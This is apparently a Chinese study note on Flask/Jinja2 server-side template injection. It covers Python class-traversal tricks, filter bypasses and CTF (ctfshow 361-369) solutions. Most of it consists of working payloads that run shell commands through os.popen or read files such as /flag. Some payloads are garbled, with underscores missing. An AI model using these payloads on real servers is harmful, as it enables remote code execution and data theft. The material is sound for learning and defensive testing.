0%

SSTI

SSTI

能够利用来任意文件读取,rce

成因:渲染模板没有严格控制对用户的输入

配合eval,system.popen,file进行任意文件读取

测试方法

参考博客:Smarty模板注入&CVE-2017-1000480

参数={{10*10}}

image

vene

用来存放python脚本,以及安装python第三方库,换=环境和本机分离开,类似于一个虚拟机的环境

flask

轻量级的web框架

1
2
3
4
5
6
7
8
9
from flask import *#加载模块
app = Flask(__name__)#即文件名

@app.route('/')#查找对应页面,路由,理解为标签页
def hello():
retrn"hello"

if __name__=='__main__':#确保只在当前程序运行,别的程序无法调用
app.run()

默认监听127.0.0.1:5000端口

  • debug=True 动态执行代码,可以进行覆盖操作,也能定位到错误,在低版本能够直接在报错的地方输入python代码,引起命令执行漏洞,现在一半需要输入pin码才能执行
  • host=’0.0.0.0’ 监听所有端口,不需要通过主机访问,别人也能打开
  • port=端口号

url传参,格式化字符串

1
2
3
4
5
6
7
8
9
from flask import *#加载模块
app = Flask(__name__)

@app.route('/hello/<name>')#<int:ID>
def hello(name):
return('hello %s')%name#%s,格式化字符串,如果是%d那么就是只接入整数

if __name__=='__main__':
app.run(debug=True)

image.png

HTTP传参方法

app.py读取文件是需要在另一个与本文件夹同级的文件夹下的同名文件,才能读取(templates)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from requests import *
from flask import * # 加载模块

app = Flask(__name__)
@app.route('/aaa/<name>') # <int:ID>
def aaa(name):
return 'hello %s' % name

@app.route('/hello', methods=['POST', 'GET'])
def hello():
if request.method == 'POST':
name = request.form['hello']#POST
#GET:request.args.get
return redirect(url_for('aaa', name=name))
#重定向跳转到aaa路由
else:
return '1'

if __name__ == '__main__':
app.run(debug=True)

image.png

image.png

image.png

函数

render_template

加载html文件,默认在emplates文件夹

render_template_string

用于渲染字符串

python

1
2
3
4
5
6
7
__class__  返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

image.png

检查可用的函数

self.__dict__._TemplateReference__context.keys()

image.png

lipsum,url_for,get_flashed_messages都有os模块

继承关系和魔术方法

image.png

base

往上查找父类

mro

把所有的类都显示出来,根据下标序号取得目标类,罗列出所有父类关系

image.png

subclasses()

查看子类

image.png

class

读取当前类所属的对象

前面加上的(),’’,[],””,{}等,类似于通配符,查找类型

init

查看类是否重载,如果出现wrapper,说明没有重载,无法执行

image.png

已经重载

globals()

只有被重载了,才有__globals__

以字典的形式返回当前对象的全局变量,即显示所有加载好的函数方法

builtins

加载内嵌函数和方法

?name={{‘’.class.mro[1].subclasses()[132].init.globals[‘builtins‘]‘eval’.read()”}}

.read()

显示回显

()|join

()|join方法,可以将小括号里的内容进行拼接起来。例如:(1,2,3)|join 就可以打印出123。

dict()|join

而dict()|join,就是将该字典的key值进行拼接,例如:dict(a=1,b=2)|join 的输出结果就是ab

常用模块

os._wrap_close

_frozen_importlib_external.FileFinder

对服务器上的某些文件进行读取

“get_data”

importlib类

image.png

os模块

linecache

image.png

image.png

subprocess.Popen类

image.png

过滤绕过

大括号被禁

{{}}={%%}

SSTI无回显盲注

反弹shell,外带

中括号过滤

getitem(数字或键名),通过键名得到键值,等于中括号的内容

单双引号过滤

GET

request.value.变量名

request.args.变量名, 通过get传入变量即可绕过单双引号,语句变量用&

image.png

payload:?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.aaa](request.args.bbb).read()}}&aaa=popen&bbb=ls /

POST

request.form.变量名 POST方法

request.cookies.变量名 cookie方法,变量用;隔开

image.png

?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.aaa](request.cookies.bbb).read()}}

下划线过滤

attr过滤器,使用request方法

image.png

`?name={{‘’|attr(request.args.class)|attr(request.args.base)}}

再用get传参class=class&base=base

关键字过滤

字符编码

拼接过滤

class=”cl”+”ass

~拼接

{%set a="__cla"%}{%set b="ss__"%}{{a~b}}

reverse反转,replace替换,join拼接

{%set a="__ssalc__"|reverse%}{{a}}

char()

length过滤数字

{%set a=’aaaaaaaaaa’|length%}{{a}}

a即等于10

{%set a=’aaaaaaaaaa’|length*”aaa”|length%}{{a}}

a等于30

全角数字转半羊角

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)

config文件获取

current_app

{{url_for.globals[‘current_app’].config}}调取当前框架的config即flask的

{{get_flashed_messages.globals[‘current_app’].config}}

ctfshow

361

image.png

payload: ?name={{‘’.class.mro[1].subclasses()[132].init.globals‘popen’.read()}}

或者利用内置函数

?name={{lipsum.__globals__.os.popen('ls /').read()}}

362

内置函数绕过

?

363

单双引号绕过

?name={{lipsum.__globals__.os.popen(request.args.aaa).read()}}&aaa=ls /

364

过滤了args,使用cookie

?name={{lipsum.__globals__.os.popen(request.cookies.aaa).read()}}

365

过滤了[],上一题payload仍旧有效

?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.aaa)(request.cookies.bbb).read()}},用__getitem__()替换[]

366

过滤了下划线

?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

使用attr过滤器和管道符

337

过滤了os,

?name={{(lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read()}}&a=cat /flag&b=__globals__&c=os

368~369

?name= {% set a=(()|select|string|list).pop(24) %} // a = _ {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} // globals=__globals__ {% set init=(a,a,dict(init=1)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

~可以替换为%2b

name={% set po=dict(po=a,p=b)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%} {% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%} {% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%} {% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%} {% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%} {% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%} {%set pp=dict(pop=a,en=b)|join %} {%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)(‘tac /flag’)|attr(‘read’)() )%}

工具使用

https://github.com/Marven11/Fenjing

一体化集成,一步到位


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/zc1i6lphb4b005im
语雀文档ID: 141967193